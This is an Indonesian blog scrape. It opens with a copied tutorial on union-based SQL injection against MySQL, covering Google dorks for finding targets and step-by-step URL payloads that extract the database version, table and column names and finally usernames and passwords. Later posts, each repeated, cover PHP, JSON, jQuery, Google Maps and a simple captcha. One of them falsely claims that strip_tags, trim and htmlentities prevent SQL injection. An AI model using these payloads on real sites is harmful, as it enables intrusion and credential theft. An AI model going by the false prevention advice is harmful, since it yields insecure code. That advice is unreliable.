SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.
Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ‘ atau -
comments: /* atau –
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x
1. Cari Target + Bugnya
Cara mencarinya adalah dengan dork sql injection. Misalnya “inurl:index.php?id=” search dengan om GOOGLE, lalu misalkan kita mendapatkan alamat situshttp://www.target.com/index.php?id=4
Lalu untuk mengetahui suatu web memiliki bug SQL injection, tambahkan sebuah
tanda petik pada akhir url, sehingga urlnya menjadi
http://www.target.com/index.php?id=4’
dan apa yang terjadi pada situs tersebut??
Situsnya menampilkan pesan error, dan berarti parameter id tidak di filter dengan
baik atau bahkan tidak difilter sama sekali, untuk mengetahui suatu web
aplikasi memiliki bug SQL Injection salah satunya adalah menggunakan perintah
and+1=1–
Ketika di tambahkan parameter +and+1=1– pada akhir URL, situsnya tampil
dengan normal karna 1=1 menghasilkan nilai true.
http://www.target.com/ /index.php?id=4+and+1=1–
Dan ketika di tambahkan parameter +and+1=2– isi berita tidak ditampilkan karna
1=2 hasilnya false dan ini membuktikan bahwa web aplikasi tersebut 99.9%
memiliki bug SQL Injection
http://www.target.com/index.php?id=4+and+1%3D2–
2. Cari Column Yang Memiliki Celah Injection
Setelah saya tau bahwa web applikasi tersebut memiliki Bug SQL Injection saya
harus mencari tau nama table dan colom, tapi sebelum itu saya harus mencari tau
pada colomn ke berapa saya bisa melakukan Injection, untuk itu saya menggunakan
perintah order by perhatikan url berikut.
http://www.target.com/index.php?id=4+order+by+1–
http://www.target.com/index.php?id=4+order+by+2–
http://www.target.com/index.php?id=4+order+by+3–
http://www.target.com/index.php?id=4+order+by+4–
http://www.target.com/index.php?id=4+order+by+5–
url diatas jika di coba satu persatu akan menampilkan situsnya secara normal.
Tapi ketika saya menginputnya dengan
order+by+6–
apa yang terjadi??? Browser menampilkan pesan error.
Dari pesan error tersebut bisa dipastikan terdapat 5 buah colomn yang terdapat di
salah satu table yang belum kita ketahui namanya.
Berarti yang kita ambil sampai +order+by+5–
3. Gunakan perintah Union select
Setelah saya mengetahui terdapat 5 buah colomn pada target, selanjutnya yaitu
mencari colomn yang bisa dilakukan injeksi. Untuk itu saya menggunakan perintah
union select (pakai union all select juga bisa kok…) sehingga urlnya menjadi
http://www.target.com/index.php?id=4+union+select+1%2C2%2C3%2C4%2C5–
Dan apa yang tampak di browser tidak ada yang aneh bukan situsnya tampil dengan Normal.
Tetapi jika parameter id saya ganti menjadi -4 yang pastinya tidak ada isi data -4 di
Database. Oke seumpama browser menampilkan angka 2 & 3, dan angka inilah yang sering disebut dengan angka ajaib, karna angka tersebut adalah letak colomn dimana attacker bisa
melakukan injeksi lebih lanjut.
http://www.target.com/ /index.php?id=-4+union+select+1,2,3,4,5–
4. Cari informasi database target
Dengan tampilnya angka ajaib tersebut anda bisa ‘mengintip’ beberapa informasi
seperti nama database, nama user database, versi database, sessi user dll.
Untuk melihat nama database injeksi urlnya menjadi
http://www.target.com/index.php?id=-4+union+select+1%2Cdatabase%28%29%2C3%2C4%2C5–
Dan seumpama browser menampilkan nama database yaitu xyb_injector.
Saya mencoba mengintip lagi nama user database pada situs tersebut dengan
menginjeksinya pada colomn ke-2 dan versi pada colomn ke-3 dan url injeksinya
menjadi
http://www.target.com/index.php?id=-4+union+select+1%2Cuser%28%29%2Cversion%28%29%2C4%2C5–
Ternyata user dabasenya root@localhost dan beruntung sekali karna versi
mysql yang di gunakan adalah versi 5.0.51a-community, lho emang versi 5
kenapa om???mendingan versi 5 soalnya saya ngerti, dari pada versi 4 saya ga ngerti, hehe
Coba anda perhatikan, anda hanya bisa meng-injeksi satu perintah pada satu
columns, bisakah meng-injeksi lebih dari satu perintah pada satu colums??? heheheh
tentu saja bisa dong, untuk itu anda bisa menggunakan perintah yang sudah
disediakan langsung oleh mysql yaitu perintah concat(perintah1,perintah2).
contoh dibawah ini saya meng-intip nama user dan nama database pada colomn ke-
2 dan pada kolom ke 3 saya mengintip versi databasenya.
http://www.target.com/index.php?id=-4+union+select+1%2Cconcat(user(),0x3a,database()),version(),4,5–
5. Dapatkan Nama Table
Saya sudah mendapatkan informasi database web aplikasi terserbut, sebenarnya
yang saya butuhkan hanyalah versi databasenya saja, seperti yang sudah anda lihat,
versi database yang ditampilkan adalah 5.0.51a-community dan tentu ini
memudahkan saya dalam mendapatkan table dengan menggunakan perintah
table_name pada coloms yang memiliki bug yaitu 2 atau 3, pada akhir statement
tambahkan
from+information_schema.tables+where+table_schema=database()+limit+0,1–
sehingga urlnya menjadi
http://www.target.com/index.php?id=-4+union+select+1%2C2%2Ctable_name%2C4%2C5+from+information_schema.tables+where+table_schema%3Ddatabase%28%29+limit+0%2C1–
Seumpama tampil sebuah table bernama “table_attacker”.
Untuk melihat seluruh table sekaligus gunakan perintah group_concat(table_name)
pada colomn yang memiliki bug, sehingga urlnya menjadi
http://www.target.com/index.php?id=-4+union+select+1%2C2%2Cgroup_concat%28table_name%29%2C4%2C5+from+information_schema.tables+where+table_schema%3Ddatabase%28%29–
Hohoho seep, seluruh table berhasil saya dapatkan, diantara table tersebut, table
manakah yang harus saya telusuri lebih jauh lagi??? table_user sepertinya menarik
yuk kita lihat apa isinya.6. Dapatkan Nama Colomns
table_user sudah saya dapatkan selanjutnya yaitu mencari nama colomns pada table
tersebut, untuk itu saya menggunakan perintah group_concat(column_name) sehingga urlnya
menjadi.
http://www.target.com/index.php?id=-4+union+select+1%2C2%2Cgroup_concat%28column_name%29%2C4%2C5+from+information_schema.columns+where+table_name%3D0xhexa–
pada tahap ini kamu wajib mengextrak kata yang keluar pada isi table tadi menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :
http://www.string-functions.com/string-hex.aspx
contoh kata yg ingin di konversi yaitu table_user maka akan menjadi 7461626c655f75736572 ini masih belum selesai, anda harus menambahkan
angka 0 dan huruf x pada awal hasil hexa tersebut sehingga hasilnya menjadi
0x7461626c655f75736572 dan inilah yang akan kita injeksikan pada nama tabel.
sehingga urlnya menjadi
http://www.target.com/index.php?id=-4+union+select+1%2C2%2Cgroup_concat%28column_name%29%2C4%2C5+from+information_schema.columns+where+table_name%3D0x7461626c655f75736572–
Alhasil nama colom dari table_user sudah saya dapatkan yaitu user_id dan
password_id.
7. Dapatkan Usename & Password.
Saya sudah mendapatkan nama table “table_user” yang berisi 2 buah colomn yaitu
“user_id” dan “password_id” dan akhirnya anda sudah sampai di detik-detik
terakhir yaitu menampilkan isi data dari colomn tersebut. Tambahkan 0x3a pada group_concat(hasil isi column yg mau dikeluarkan,0x3a, hasil isi column yg mau dikeluarkan)
perintah +from+(nama table berasal) -> dimasukkan setelah angka terakhir
sehingga urlnya menjadi :
http://www.target.com/index.php?id=-4+union+select+1%2C2%2Cgroup_concat%28user_id%2C0x3a%2Cpassword_id%29%2C4%2C5+from+table_user–
Tampilah seluruh username dan password dari situs tersebut dan ini sangat
membahayakan jika attacker berhasil melakukan cracking pada password tersebut.
attacker bisa saja melakukan aksi defacing seperti yang akhir-akhir ini sedang marak
di beritakan.
sumber http://komputerpamungkas.wordpress.com/2011/04/03/tutorial-sql-injection/
SQL INJECTION
salah satu hal terpenting dalam security di web yaitu sql injection. php menyediakan beberapa fungsi yang dapat digunakan untuk mencegahnya, berikut ini fungsi yang dapat digunakan :
<?php
$isi = "<b> Ini contoh </b>";
$strip = strip_tags($isi);
$trim = trim($isi);
$html= htmlentities($isi);
echo "ini contoh strip_tags() ".$strip;
echo "<br> ini contoh trim() ".$trim;
echo "<br> ini contoh htmlentities() ".$html;
?>
mah seperti itulah beberapa fungsi yang dapat digunakan dalam pencegahan sql injection. semoga bermanfaat
- Strip_tags() : digunakan untuk menghilangkan karakter-karakter html dari value yg diinputkan, misalnya pada form login atau guest book.
- trim() : digunakan untuk menghilangkan spasi kanan dan kiri.
- htmlentities() : digunakan untuk mengubah kode-kode html menjadi karakter biasa.
<?php
$isi = "<b> Ini contoh </b>";
$strip = strip_tags($isi);
$trim = trim($isi);
$html= htmlentities($isi);
echo "ini contoh strip_tags() ".$strip;
echo "<br> ini contoh trim() ".$trim;
echo "<br> ini contoh htmlentities() ".$html;
?>
mah seperti itulah beberapa fungsi yang dapat digunakan dalam pencegahan sql injection. semoga bermanfaat
Tuesday, January 7, 2014
Membuat Peta Dengan Google Maps
sebenarnya sudah lama ingin memposting artikel mengenai ini, hanya saja.. ya biasa masalah deadline dan sebagainya yang menghambat untuk meluncurkan tulisan mengenai maps ini. mumpung waktunya pas semoga bisa bermanfaat :D
dengan adanya google maps, kita bisa memanfaatkan API yang sudah dengan baiknya google buat kita bisa menggunakannya secara free. sekarang kita akan coba membuat peta yang menampilkan kawasan Indonesia sebagai center view (pusat perhatian pada saat website di buka). berikut ini kodenya
peta.html
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="initial-scale=1.0, user-scalable=no">
<meta charset="UTF-8">
<title>Google Maps</title>
<link href="/apis/fusiontables/docs/samples/style/default.css"
rel="stylesheet" type="text/css">
<script type="text/javascript"
src="http://maps.google.com/maps/api/js?sensor=false"></script>
<script type="text/javascript">
function initialize() {
var tableId = '1ag1g0AguWSczmuXhOudN1XMXTCys8_gwjiUIfg';
var map = new google.maps.Map(document.getElementById('map-canvas'), {
center: new google.maps.LatLng(-6.327827980262304, 106.67339647284699),
zoom: 4,
mapTypeId: google.maps.MapTypeId.ROADMAP
});
}
google.maps.event.addDomListener(window, 'load', initialize);
</script>
</head>
<body>
<div id="map-canvas" style="width:650px; height:450px"></div>
</body>
</html>
hasil dari kode diatas adalah
dengan adanya google maps, kita bisa memanfaatkan API yang sudah dengan baiknya google buat kita bisa menggunakannya secara free. sekarang kita akan coba membuat peta yang menampilkan kawasan Indonesia sebagai center view (pusat perhatian pada saat website di buka). berikut ini kodenya
peta.html
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="initial-scale=1.0, user-scalable=no">
<meta charset="UTF-8">
<title>Google Maps</title>
<link href="/apis/fusiontables/docs/samples/style/default.css"
rel="stylesheet" type="text/css">
<script type="text/javascript"
src="http://maps.google.com/maps/api/js?sensor=false"></script>
<script type="text/javascript">
function initialize() {
var tableId = '1ag1g0AguWSczmuXhOudN1XMXTCys8_gwjiUIfg';
var map = new google.maps.Map(document.getElementById('map-canvas'), {
center: new google.maps.LatLng(-6.327827980262304, 106.67339647284699),
zoom: 4,
mapTypeId: google.maps.MapTypeId.ROADMAP
});
}
google.maps.event.addDomListener(window, 'load', initialize);
</script>
</head>
<body>
<div id="map-canvas" style="width:650px; height:450px"></div>
</body>
</html>
hasil dari kode diatas adalah
Apa Itu JSON ?
dari 2 artikel yang telah dibuat, mungkin anda bertanya-tanya belum tau apa itu JSON yang sesungguhnya, berikut kutipan (sumber http://id.wikipedia.org/wiki/JSON)
JSON (dilafalkan "Jason"), singkatan dari JavaScript Object Notation (bahasa Indonesia: notasi objek JavaScript), adalah suatu format ringkas pertukaran data komputer. Formatnya berbasis teks dan terbaca-manusia serta digunakan untuk merepresentasikan struktur data sederhana dan larik asosiatif (disebut objek). Format JSON sering digunakan untuk mentransmisikan data terstruktur melalui suatu koneksi jaringan pada suatu proses yang disebut serialisasi. Aplikasi utamanya adalah pada pemrograman aplikasi web AJAX dengan berperan sebagai alternatif terhadap penggunaan tradisional format XML.
Walaupun JSON didasarkan pada subset bahasa pemrograman JavaScript (secara spesifik, edisi ketiga standar ECMA-262, Desember 1999 [1]) dan umumnya digunakan dengan bahasa tersebut, JSON dianggap sebagai format data yang tak tergantung pada suatu bahasa. Kode untuk pengolahan dan pembuatan data JSON telah tersedia untuk banyak jenis bahasa pemrograman. Situs json.org menyediakan daftar komprehensif pengikatan JSON yang tersedia, disusun menurut bahasa.
JSON (dilafalkan "Jason"), singkatan dari JavaScript Object Notation (bahasa Indonesia: notasi objek JavaScript), adalah suatu format ringkas pertukaran data komputer. Formatnya berbasis teks dan terbaca-manusia serta digunakan untuk merepresentasikan struktur data sederhana dan larik asosiatif (disebut objek). Format JSON sering digunakan untuk mentransmisikan data terstruktur melalui suatu koneksi jaringan pada suatu proses yang disebut serialisasi. Aplikasi utamanya adalah pada pemrograman aplikasi web AJAX dengan berperan sebagai alternatif terhadap penggunaan tradisional format XML.
Walaupun JSON didasarkan pada subset bahasa pemrograman JavaScript (secara spesifik, edisi ketiga standar ECMA-262, Desember 1999 [1]) dan umumnya digunakan dengan bahasa tersebut, JSON dianggap sebagai format data yang tak tergantung pada suatu bahasa. Kode untuk pengolahan dan pembuatan data JSON telah tersedia untuk banyak jenis bahasa pemrograman. Situs json.org menyediakan daftar komprehensif pengikatan JSON yang tersedia, disusun menurut bahasa.
Mengambil data JSON dengan JQuery (JSON Part 2)
pada artikel sebelumnya telah dibahas mengenai parsing data dari array hasil query menjadi JSON. sekarang akan dibahas lebih lanjut agar data JSON tadi bisa tampil pada halaman website.
sebenarnya sama saja dengan code pada artikel sebelumnya, hanya saja sedikit dimodifikasi sesuai dengan data yang akan ditampilkan.
ambildata.php
<?php
mysql_connect('localhost','root','');
mysql_select_db('latihan');
$data = mysql_query("SELECT * from chat");
$json = '{"data":[ ';
while($x = mysql_fetch_array($data)){
$json .= '{';
$json .= '"id_chat":"'.$x['id'].'",
"from":"'.strip_tags(trim($x['from'])).'",
"to":"'.strip_tags(trim($x['to'])).'",
"sent":"'.strip_tags(trim($x['sent'])).'",
},';
}
$json = substr($json,0,strlen($json)-1);
$json .= ']';
$json .= '}';
echo $json;
?>
lalu ini kode dari tampilannya
<html>
<head>
<title>json + jquery</title>
<script type='text/javascript' src='jquery.js'></script>
<script type='text/javascript'>
$(document).ready(function(){
var i;
var from = new Array();
var to = new Array();
var sent = new Array();
function view() {
$.ajax({
url: 'ambildata.php',
dataType: 'json',
cache: false,
success: function(msg){
for(i=0;i<msg.data.length;i++){
from[i] = msg.data[i].from;
to[i] = msg.data[i].to;
sent[i] = msg.data[i].sent;
$('#hasil_json').html('<p> FROM: ' + from + '</p>');
$('#hasil_json').append('<p>TO : ' + to+ '</p>');
$('#hasil_json').append('<p> SENT: ' + sent+ '</p>');
}
}
});
}
view();
});
</script>
</head>
<body>
<div id='hasil_json'></div>
</body>
</html>
untuk plugin jquerynya bsa d download di http://jquery.com/download/
selamat mencoba semoga bermanfaat :D
sebenarnya sama saja dengan code pada artikel sebelumnya, hanya saja sedikit dimodifikasi sesuai dengan data yang akan ditampilkan.
ambildata.php
<?php
mysql_connect('localhost','root','');
mysql_select_db('latihan');
$data = mysql_query("SELECT * from chat");
$json = '{"data":[ ';
while($x = mysql_fetch_array($data)){
$json .= '{';
$json .= '"id_chat":"'.$x['id'].'",
"from":"'.strip_tags(trim($x['from'])).'",
"to":"'.strip_tags(trim($x['to'])).'",
"sent":"'.strip_tags(trim($x['sent'])).'",
},';
}
$json = substr($json,0,strlen($json)-1);
$json .= ']';
$json .= '}';
echo $json;
?>
lalu ini kode dari tampilannya
<html>
<head>
<title>json + jquery</title>
<script type='text/javascript' src='jquery.js'></script>
<script type='text/javascript'>
$(document).ready(function(){
var i;
var from = new Array();
var to = new Array();
var sent = new Array();
function view() {
$.ajax({
url: 'ambildata.php',
dataType: 'json',
cache: false,
success: function(msg){
for(i=0;i<msg.data.length;i++){
from[i] = msg.data[i].from;
to[i] = msg.data[i].to;
sent[i] = msg.data[i].sent;
$('#hasil_json').html('<p> FROM: ' + from + '</p>');
$('#hasil_json').append('<p>TO : ' + to+ '</p>');
$('#hasil_json').append('<p> SENT: ' + sent+ '</p>');
}
}
});
}
view();
});
</script>
</head>
<body>
<div id='hasil_json'></div>
</body>
</html>
untuk plugin jquerynya bsa d download di http://jquery.com/download/
selamat mencoba semoga bermanfaat :D
Parsing data menjadi JSON (Javascript Object Notation)
Salah satu yang penting dalam website yaitu JSON. kenapa harus JSON ? karena JSON merubah / parsing data menjadi lebih ringan. karena JSON sendiri merupakan bahasa yang bekerja pada sisi client sama halnya seperti AJAX. tidak langsung mengakses server tetapi ada penghubung, yakni javascript. Pada kasus kali ini saya akan membuat sebuah contoh merubah data yang diambil dari sebuah table.
berikut ini query table yang akan digunakan untuk latihan kali ini
CREATE TABLE IF NOT EXISTS `chat` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`from` varchar(255) NOT NULL DEFAULT '',
`to` varchar(255) NOT NULL DEFAULT '',
`message` text NOT NULL,
`sent` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
`recd` int(10) unsigned NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=16 ;
INSERT INTO `chat` (`id`, `from`, `to`, `message`, `sent`, `recd`) VALUES
(1, 'johndoe', 'janedoe', 'dwdwdwdwdw', '2014-01-07 10:51:02', 1),
(2, 'janedoe', 'johndoe', 'dwdwdwdwdw', '2014-01-07 10:51:27', 1),
(3, 'janedoe', 'johndoe', 'hry', '2014-01-07 10:51:49', 1),
(4, 'janedoe', 'janedoe', 'efefefe', '2014-01-07 10:51:52', 1),
(5, 'janedoe', 'janedoe', 'fefefefe', '2014-01-07 10:52:08', 1),
(6, 'janedoe', 'johndoe', 'jon', '2014-01-07 10:52:44', 1),
(7, 'johndoe', 'janedoe', 'what', '2014-01-07 10:53:01', 1),
(8, 'janedoe', 'johndoe', 'nothing beb', '2014-01-07 10:53:08', 1),
(9, 'johndoe', 'janedoe', 'efegegegeg', '2014-01-07 11:23:06', 1),
(10, 'janedoe', 'johndoe', 'dwdwdwdw', '2014-01-07 11:23:16', 1),
(11, 'janedoe', 'johndoe', 'asasasa', '2014-01-07 11:23:20', 1),
(12, 'janedoe', 'johndoe', 'dedede', '2014-01-07 11:36:18', 1),
(13, 'johndoe', 'janedoe', 'wdlmwldmwld', '2014-01-07 11:43:24', 1),
(14, 'johndoe', 'janedoe', 'wdnwkdwnd', '2014-01-07 11:43:25', 1),
(15, 'johndoe', 'johndoe', 'wdwdwl', '2014-01-07 11:43:27', 1);
lalu ini kode untuk memparsing data menjadi JSON
ambildata.php
<?php
mysql_connect('localhost','root','');
mysql_select_db('latihan');
$data = mysql_query("SELECT * from chat");
$json = '{"data":[ ';
while($x = mysql_fetch_array($data)){
$json .= '{';
$json .= '"id_chat":"'.$x['id'].'",
"from":"'.strip_tags(trim($x['from'])).'",
"to":"'.strip_tags(trim($x['to'])).'",
"message":"'.strip_tags(trim($x['message'])).'",
"sent":"'.strip_tags(trim($x['sent'])).'",
"recd":"'.strip_tags(trim($x['recd'])).'"
},';
}
$json = substr($json,0,strlen($json)-1);
$json .= ']';
$json .= '}';
echo $json;
?>
mysql_connect('localhost','root','');
mysql_select_db('latihan');
$data = mysql_query("SELECT * from chat");
$json = '{"data":[ ';
while($x = mysql_fetch_array($data)){
$json .= '{';
$json .= '"id_chat":"'.$x['id'].'",
"from":"'.strip_tags(trim($x['from'])).'",
"to":"'.strip_tags(trim($x['to'])).'",
"message":"'.strip_tags(trim($x['message'])).'",
"sent":"'.strip_tags(trim($x['sent'])).'",
"recd":"'.strip_tags(trim($x['recd'])).'"
},';
}
$json = substr($json,0,strlen($json)-1);
$json .= ']';
$json .= '}';
echo $json;
?>
hasil dari kode diatas akan seperti pada gambar berikut
terlihat beberapa data seperti isi pada table. pada artikel selanjutnya akan dibahas bagaimana mengambil data tersebut menjadi sebuah tabulasi data. semoga bermanfaat
Sunday, January 5, 2014
Membuat Verifikasi Kode (Seperti Captcha) Dengan Konsep Penjumlahan
Bermula dari malasnya menggunakan plugin tambahan, ide membuat kode verifikasi dengan memanfaatkan fungsi session. sebenarnya sederhana saja, dari awal kita membuat 2 buah angka random, lalu kita jumlahkan. dan hasil penjumlahannya kita simpan pada session untuk nantinya di cocokkan dengan kode inputan. langsung aja mungkin biar lebih jelas.
form.php
<?php
session_start();
$n1 = rand(1,20);
$n2 = rand(1,20);
$hasil = $n1+$n2;
$_SESSION['kode'] = $hasil;
?>
Masukan Kode Verifikasi Berikut
<br>
<?php
echo $n1."+".$n2."=";
?>
<form method="post" action="cekode.php">
<input type="text" name="kode"/>
<input type="submit" value="Cek"/>
</form>
lalu buat satu file untuk memverifikasi kode inputan apakah sesuai atau tidak
cekode.php
<?php
session_start();
$kodever = $_SESSION['kode'];
$kodeinputan = $_POST['kode'];
if($kodeinputan==$kodever){
echo "Kode cocok";
}else{
echo "Maaf kode yang anda masukan salah !!!!!!";
}
?>
jika kode inputan tidak cocok, maka akan muncul tulisan Maaf kode yang anda masukan salah !!!!!! . akan tetapi jika kode valid tulisan yang akan muncul adalah Kode cocok. cukup mudahkan ? semoga bermanfaat
form.php
<?php
session_start();
$n1 = rand(1,20);
$n2 = rand(1,20);
$hasil = $n1+$n2;
$_SESSION['kode'] = $hasil;
?>
Masukan Kode Verifikasi Berikut
<br>
<?php
echo $n1."+".$n2."=";
?>
<form method="post" action="cekode.php">
<input type="text" name="kode"/>
<input type="submit" value="Cek"/>
</form>
lalu buat satu file untuk memverifikasi kode inputan apakah sesuai atau tidak
cekode.php
<?php
session_start();
$kodever = $_SESSION['kode'];
$kodeinputan = $_POST['kode'];
if($kodeinputan==$kodever){
echo "Kode cocok";
}else{
echo "Maaf kode yang anda masukan salah !!!!!!";
}
?>
jika kode inputan tidak cocok, maka akan muncul tulisan Maaf kode yang anda masukan salah !!!!!! . akan tetapi jika kode valid tulisan yang akan muncul adalah Kode cocok. cukup mudahkan ? semoga bermanfaat
Menggabungkan Beberapa Array Dengan array_combine()
bermula dari kasus yang saya dapat, dimana pada awalnya saya ingin menggabungkan 2 data array dari database. dari contoh sederhana ini bisa digambarkan cara menggabungkan 2 array (kumpulan data menjadi satu)
array.php
<?php
$array1 = array("1","2","3","4");
$array2 = array("Jeep","Liberty","Black","2005");
$newArray = array_combine($array1, $array2);
foreach ($newArray as $key => $value) {
echo "$key - <strong>$value</strong> <br />";
}
?>
$newArray adalah penggabungan array dari kedua array yang dibuat, jadi ketika ditampilkan pada browser akan seperti berikut
silahkan dikembangkan dengan menggunakan database akan lebih seru :) . semoga bermanfaat
array.php
<?php
$array1 = array("1","2","3","4");
$array2 = array("Jeep","Liberty","Black","2005");
$newArray = array_combine($array1, $array2);
foreach ($newArray as $key => $value) {
echo "$key - <strong>$value</strong> <br />";
}
?>
$newArray adalah penggabungan array dari kedua array yang dibuat, jadi ketika ditampilkan pada browser akan seperti berikut
Saturday, January 4, 2014
Membuat Editor Seperti MS. Word
kali ini saya akan membahas tentang cara membuat editor seperti MS. Word, akan kita gunakan plugin CKEDITOR. silahkan download pada link yang tersedia dibawah artikel ini.
berikut kodenya
<html>
<head>
<title></title>
<link rel="stylesheet" href="ckeditor/contents.css" />
<script type="text/javascript" src="ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea id="editor"></textarea>
<script type="text/javascript" src="ckeditor/editor.js"></script>
</body>
</html>
http://www.4shared.com/zip/xYq5x45fce/ckeditor.html
berikut kodenya
<html>
<head>
<title></title>
<link rel="stylesheet" href="ckeditor/contents.css" />
<script type="text/javascript" src="ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea id="editor"></textarea>
<script type="text/javascript" src="ckeditor/editor.js"></script>
</body>
</html>
http://www.4shared.com/zip/xYq5x45fce/ckeditor.html
Subscribe to:
Posts (Atom)